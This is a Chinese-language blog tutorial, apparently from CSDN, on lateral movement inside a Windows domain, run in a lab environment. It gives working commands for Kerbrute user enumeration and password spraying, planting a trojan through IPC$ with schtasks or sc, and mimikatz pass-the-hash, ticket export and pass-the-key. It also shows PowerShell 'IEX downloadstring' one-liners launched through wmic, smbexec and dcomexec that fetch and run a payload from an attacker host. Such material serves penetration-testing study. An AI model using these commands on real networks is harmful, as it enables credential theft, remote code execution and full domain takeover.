2024HW ---->内网横向移动

在蓝队的面试过程中,如果你会内网渗透的话,那是肯定的一个加分选项!!!

那么从今天开始,我们就来讲一下内网的横向移动!!!

目录

1.域内任意用户枚举

2.Password-Spraying密码喷洒攻击

3.IPC配合计划任务横向移动

3.IPC配合系统服务横向移动

5.PTH哈希传递攻击

1.CS的PTH配合psexec哈希传递

2.远程桌面配合mimikatz进行哈希传递

6.PTT票据传递攻击

7.PTK密钥传递攻击

8.Psexec横向移动

1.远控配合Psexec横向移动

2.CS自带Psexec横向移动

9.Wmic横向移动

1.powershell配合wmic横向移动

2.NTLM哈希配合vmiexec.exe横向移动

10.Smbexec横向移动

11.DCOM横向移动

12.WinRM横向移动


1.域内任意用户枚举

在域中,什么最重要???肯定是凭证,密码,hash这些。

进入域内,我们肯定都很喜欢直接net user /domain!!  ???拒绝访问

前面说过,这种情况,一般都是存在域环境,但是不是本地管理员!!而且是以本地的普通的管理员或者用户登录的!!

这时候我们就要域内任意用户枚举!!! 

这时候,就要再次回到我们的Kerberos协议了!! (域内不会Kerberos协议就将是寸步难行)

Kerberos 本身是一种基于身份认证的协议, 在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在 时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。 所以可以利用 这点,对域内进行域用户枚举和密码喷洒攻击。在AS-REQ 阶段客户端向 AS 发送用户名, AS 对用户名进 行验证,用户存在和不存在返回的数据包不一样,所以,根据AS 的返回包来对域用户进行枚举。
这里讲一个工具 Kerbrute!!这个工具可以用于域内任意用户枚举
kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt

有人好奇了,既然我域用户都不是,我咋知道域控的ip
  ::一看就知道没有好好听域内信息收集,直接pingDC的名字就能获得DC的ip!

2.Password-Spraying密码喷洒攻击

有了用户的名字,我们就可以进行域内密码的喷洒了

在确认用户存在后,客户端又会发送一个 AS-REQ 请求,如果密码正确,则返回 AS-REP 。否则返回KRB5KDC_ERP_PREAUTH_FAILED,
在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题。
用的工具,还是刚才那个Kerbrute。  但是这个喷洒的密码不支持字典导入,如果你想喷洒多个密码,那你就自己写脚本。
kerbrute.exe passwordspray -d 域名 用户字典 喷洒的密码

3.IPC配合计划任务横向移动

首先,我们得了解一下什么是IPC

IPC( Internet ProcessConnection) 共享 命名管道 的资源 , 是为了实现进程间通信而开放的命名管道。
IPC 可以通过验证用户名和密码获得相应的权限 , 通常在远程管理计算机和查看计算机的共享资源时使用。
通过 ipc$, 可以与目标机器建立连接。利用这个连接 , 不仅可以访问目标机器中的文件 , 进行上传、下载等操作, 还可以在目标机器上运行其他命令 , 以获取目标机器的目录结构、用户列 表等信息。

当然了,能利用IPC也有一定的条件

1.开启了139和445端口

2.管理员开启了默认共享

当然了,这两个都是默认开启的

那么下面,我们就来实战一下,先上个网络拓扑

先以普通用户给上个🐎,权限不够我们再去提权!!!! 

当然了,想建立IPC,我们需要知道别人的密码!!!

那么再假设一下我们有了Winserver的密码,然后就开始IPC横向(直接访问肯定不行)

那么我们就去建立连接,这里建立连接的用户,最好是域管理员,否则的话是没用的

(liukaifeng01是一个域内用户)

那么我们就可以去查一下

shell net group "Domain Admins" /domain

很不幸,只有一个administrator,所以我们只有拿下它的hash或者密码才可以了 

 

那么再假装我们拿到了,就去尝试建立一下IPC

net use  \\192.168.52.110\ipc$  "hongrisec@2024"  /user:administrator

这时候就能猥琐欲为了 

 这时候不还是随便看吗!!!

差点偏题,计划任务!!!对

先传个木马上去 其中free.exe 是一个木马

copy  C:\Users\liukaifeng01.GOD\Desktop\free.exe  \\192.168.52.110\C$

然后设置计划任务

schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f
schtasks /create /s 192.168.52.110 /tn free /sc onstart /tr c:\free.exe /ru system /f

逆天了,拒绝访问!!! 

那就只能先去提权了,可以使用cs自带的elevate提权(劫持UAC白名单程序)

但是你会发现,逆大天!!就算是提升到了SYSTEM还是***的拒绝访问,看来只有域管理员才有这个颁布计划任务的权限了!!(这就是为什么进入域内就要先去找域管理员的原因!!)

手动添加(无敌了)立刻就听话了

然后我们再去运行这个计划任务

schtasks /run /s IP地址 /i /tn "计划任务名"
schtasks /run /s 192.168.52.110 /i /tn "free"

运行即上线 

当然了,因为这台机器是直接和公网通的

否则你就要用SMB的beacon去通过子父beacon上线,这里就要多一步link或者connect!!

3.IPC配合系统服务横向移动

除了计划任务,我们还可以配合服务进行横向移动~!~~!

那么建立连接什么的我就不说了,和上面一样

然后就是先把木马传上去

然后就是创建服务

sc \\192.168.52.110 create test binpath= "cmd.exe /c c:\free.exe"

开启服务

sc \\192.168.52.110 start test

启动即上线 ,但是还是那句话,这个服务的启动还是要域管(可以不过UAC)

5.PTH哈希传递攻击

PTH(Pass The Hash)这种攻击,走的不是Kerberos认证,而是走的NTLM网络认证

想要Hash传递,还得有一定的条件

哈希传递攻击的前提:有管理员的 NTLM Hash ,并且目标机器开放 445 端口。
看吧,还得拿到管理员!!(可以看出来管理员是多么的重要)
而对于哈希传递攻击,还分为以下的两个场景
在工作组环境中: Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。 Windows Vista 之后的机器, 只能是administrator用户的哈希值才能进行哈希传递攻击 ,其他用户 ( 包括管理员用 户但是非administrator) 也不能使用哈希传递攻击,会提示拒绝访问。

在域环境中: 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈 传递攻击,攻击成功后,可以访问域内任何一台机器。

那么这样就好办了,我们只要拿到一个域管的账号就行(域管理员的哈希真的是很强大的在域中)!!!!先去上个🐎!  其中liukaifeng01就是一个域馆账户

其中liukaifeng01就是一个域管账户

然后我们一般都是直接通过mimikatz进行哈希传递的。那么下面,我们就来讲两种方式

1.CS的PTH配合psexec哈希传递

CS其实很强大的,我们可以直接用它来进行哈希传递!!

我们点击这个按钮就能看见目标(如果没有的话,你就去扫描一下)

于是我们打算去横向到WANLI也就是IP是52.110这个机器上面

   选中这个psexec_64

然后填写上对应的信息

然后就能看见上线,还是以system去上线的!!

咳咳咳,脱离主题,我们没有明文密码忘了吗?? 不过还是可以哈希传递!!

然后还是能看到上线的,只不过我们这次上线的程序是rundll,不过上线的权限都是system

2.远程桌面配合mimikatz进行哈希传递

远程桌面是域内常用的一个方法(有了这个我们就可以直接无视UAC了!!)怎么远程桌面,我后面出一个专题来讲(希望不会鸽)

这里来解释一下为什么要远程桌面去打,因为你哈希传递的话,他成功之后不会通过CS给你返回一个shell,所以我们只能在本地去进行哈希传递。

先把mimikatz扔上去,或者你用cs自带的mimkatz也可以,然后就是下面的命令了

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator
/domain:192.168.52.110  /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0"  "exit"

这个mimikatz如果是exe运行的话记得加上exit啊啊啊!!不然你的cs就直接卡死了

但是呢,我只能说,内网这种东西,真的是一个玄学!!!(按常理来说,这里应该是可以的!)

所以我想引用万里老师在内网课程里面的一句话

内网情况复杂多变,你这台机器传不成功,就换台机器,还是不行就换个域,或者换多几台虚拟机,反正内网横向这种东西不一定会成功!!

像上面的cs的办法,我试过域内的所有机会都是能成功地!!

就算不是用administrator,用的其他域馆来进行哈希传递也是可以地

所以,以后哈希传递的时候还是用CS的吧,或者如果不出网到的话,我们就上🐎!!

6.PTT票据传递攻击

PTT(Pass The Ticket)票据传递攻击!!

票据传递一般分为以下两种

1、自己制作票据
2 、传递内存中的票据
对于自己制作票据,我在之前说过了
无疑就是三种,黄金票据,白银票据,以及MS14-068!! 但是金票和银票一般都是用来做权限维持,很少用来横向移动,但是ms14-068是!!!
于是我们就来讲一下第二种,传递内存中的票据!!
有时候,我们明明是一个域内用户登录,但是却能看见内存中有过域管的票据,而且这张票据不陌生吧!!! krbtgt的黄金票据!!!!!(而且还是对于域馆的黄金票据)
那还不是直接横着走??     
那我们先把票给导出来
shell  C:\Users\liukaifeng01.god\desktop\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"   "exit"

然后我们现在是看不了别人的东西的

然后清除票据

klist purge
shell  C:\Users\liukaifeng01.god\desktop\mimikatz.exe "privilege::debug" "kerberos::purge"   "exit"

然后我们直接把administrator的TGT导入

shell  C:\Users\liukaifeng01.god\desktop\mimikatz.exe "kerberos::ptt [0;173bf2]-0-0-40a40000-Administrator@LDAP-owa.god.org.kirbi" "exit"

于是就已经无敌了

但是我想说,有的时候直接访问ip,就像下面这样,是不行的!!!

shell dir \\192.168.52.110\c$

反正不行的时候,要么就用名字访问,要么就用ip访问

 然后下面就是常见的上线力!!!可以看见我们建立IPC都可以不用密码了!!

然后就是计划任务或者服务啦,我这里用服务

然后就是创建服务

然后直接运行服务,运行即上线

这时候有人就会说了,你一开始是dir的ip,没dir的名字(是不是骗我???)

击碎质疑的最好办法就是直接用事实击碎质疑!!!! 先清票!!

然后再去看一下啊,事实就在眼前!!!

7.PTK密钥传递攻击

PTK(Pass The Key)密钥传递攻击!!

为什么我们要用这个呢? 那就不得不说一下KB2871997这个补丁了!

KB2871997 禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、 psexec、schtasks、at和访问文件共享。
如果打了这个补丁之后,我们就不能进行哈希传递了,但是administrator除外!于是我们就可以通过PTK来进行横向移动。( 通过抓取密码发现域管账号存在内存中,但是没有明文,PTH攻击也失效,这个时候采用PTK攻击
pass the key是在域中攻击 kerberos 认证的一种方式, 原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。
有一个图,我觉得说的很对!!
讲了这么久,我们来实操一波
mimikatz "sekurlsa::ekeys"

居然能抓到域馆的AESkey,那么就可以横向了!!!

还是先把所有的票清了

klist purge 
mimikatz "kerberos::purge"

然后直接进行票据传递攻击!!!!

sekurlsa::pth /user:administrator /domain:god.org /aes256:0a4abb55243c543a332573cd0cff5e623c08f2073fbcf7fa1a967d8b86b00047
然后,你就会发现CS还是拒绝访问
但是还记不记得hash传递那里,它会弹一个框出来!!我们远程上去看看??
在这个框里面看看能不能为所欲为??
艹了,翻车了,我看别人说是因为别人的电脑没有开启aes认证???这就不知道了
但是现实生活中可以多尝试,我只能这么说(翻车啦~~~~~)

8.Psexec横向移动

在之前的PTH和PTT,以及翻车了的PTK,我们都不难发现,就算完成了认证之后,我们也还是要通过计划任务,或者通过服务来进行横向移动。

那有没有不用这么麻烦??直接一步到位???    

那肯定有,这就是我们要讲的psexec!!

psexec 的使用不需要对方主机开方 3389 端口, 只需要对方开启admin$ 共享和 ipc$ ( 该共享默认开启,依赖于 445 端口 ) 。但是, 假如目标主机开启了防火墙(防火墙禁止445端口连接) psexec 也是不能使用的,会提示找不到网络路径。

下面是它的命令!!! 

当然了,能使用psexec必须要有 凭证,密钥,ntlm哈希,高权限票据,明文其中之一!!
下面我们就来实验一下!!!

1.远控配合Psexec横向移动

假如我们现在远程上去了,然后我们知道了管理员的明文密码!!

那么我们先把psexec传上去。

然后直接去cs运行!!

psexec \\192.168.52.111 -u administrator -p hongrisec@2024 cmd

但是你就会发现一堆报错

其实是因为他没有加上这个参数   -accepteula  加上就不会报错了

psexec -accepteula  \\192.168.52.111 -u administrator -p hongrisec@2024 cmd

 ?????不是怎么不行啊???

哦哦哦,还没建立连接呢,hhhhhh

shell net use \\192.168.52.111\c$ "hongirsec@2024" /user:GOD\administrator
当然了,就算是建立了连接,你也连接不上的
为什么?? 是因为你要在本地才有用,除非你远程上去

2.CS自带Psexec横向移动

看了上面的办法这么麻烦,有没有一些简单的,不用远控的???

当然了,Psexec是CS是自带的,我们在pth的时候不就是配合了它来横向的!!!

但是what can i say呢???? CS的psexec使用需要你的beacon是管理员的!!!!

PTH,PTT是不需要当前账号为管理员的(不过你不是管理员也抓不到密码和票据),否则你就会收到这样的报错!!

那么假设我们提权到了system的权限(无中生有) (我还不信我提不上来了)

这还不给我拿下你整个域?(hhh肯定不是)

9.Wmic横向移动

WMI Windows Powershell 还未发布前,微软用来管理 Windows 系统的重要数据库工具, WMI 本身的组织架构是一个数据库架构,WMI 服务使用 DCOM WinRM 协议。
在使用 wmiexec 进行横向移动时, windows 操作系统默认不会将 WMI 的操作记录在日志中 。因此很多 APT 开始使用 WMI 进行攻击。
WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行 接口和批处理脚本执行系统管理的支持。

cs没有集成vmic,而且,vmic执行命令是没有回显的,所以,我们一般采用powershell无文件落地

前提,我们要用本地或者域管理员的账号密码!! 但是在内网中的powershell无文件有点难,如果实在条件苛刻,我们可以做隧道!!!

1.powershell配合wmic横向移动

一句命令就直接上线(可以看出powershell无文件落地的强大)

wmic /NODE:192.168.52.111 /user:god\administrator /password:hongrisec@2024 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.246.170:9191/powershell.ps1'))\""

这个呢,不一定会成功,有可能别人开了防火墙,或者做了一些策略

但是也不一定不成功,反正多去试试就是

2.NTLM哈希配合vmiexec.exe横向移动

这时候就有人会说了,不是哥么,我没明文啊,那也没关系。我们用工具!!

 先把工具传上去!!!!

然后还是配合powershell无文件落地,但是呢,又要翻车了。。。。。。

还是那句话,这个工具用不了就换别的。

10.Smbexec横向移动

SMB 全称是 Server Message Block 翻译过来是服务器信息块,它也是一种客户端到服务器的通信协 议。除此之外,SMB 协议也被称为请求 - 回复协议。 客户端与服务器建立连接后 , 客户端可以向服务器发 送SMB 命令允许用户访问共享、打开、读取或者是写入文件。
利用条件:开启了 445 端口(无需建立IPC连接)似乎这个好用一些,还是先传工具上去

这里就需要远控了,他和psexec差不多,也是不会返回一个shell到cs上的
smbexec.exe  用户名:密码@IP
smbexec.exe -hashes  LM:NTLM  用户名:IP

有些机器还是不行

但是有的机器就可以

包括哈希也是可以的

这时候有人就要问了,我拿到这样的shell有啥用????  牛魔,直接无文件落地啊!

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://你公网的ip:公网的端口/powershell.ps1'))"

11.DCOM横向移动

对于DCOM,横向移动是有条件的(防火墙那里,有的机器就算开了防火墙也可以)(多试!)

命令如下

dcomexec.exe administrator:hongrisec@2024@192.168.52.143  //直接开一个cmd窗口
dcomexec.exe administrator:hongrisec@2024@192.168.52.111 cmd.exe /c "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.246.52:9191/powershell.ps1'))"  //无文件

但是这个DCOM也是有的机器能成,有的不行

12.WinRM横向移动

巴拉巴拉一大堆,我们只要记住,如果能扫到别人5985端口开放(高版本的server)就可以试试

这个终于CS自带了,不用传上去了!!

但是我想说就算人家开了这个端口,也不一定能给你扫出来(nmap和fscan不行)

但是发现出息了我的CS(直接给我扫出来了)

所以我们可以用CS自带的WinRM横向(还是要账号密码,不过是通信协议不同)
成功上线

至此,内网的横向移动就差不多了(当然还有一些漏洞的像什么MS17-010 ,MS08-067除外)

当然了横向移动并不等于域内攻击,还有一些攻击还没讲到,像什么Kerberoasting那些

  ::后面补上

那么下星期就开内网的隧道啦(虽然以前讲过,但是感觉有点散乱,于是打算重新梳理一下)

  • 30
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值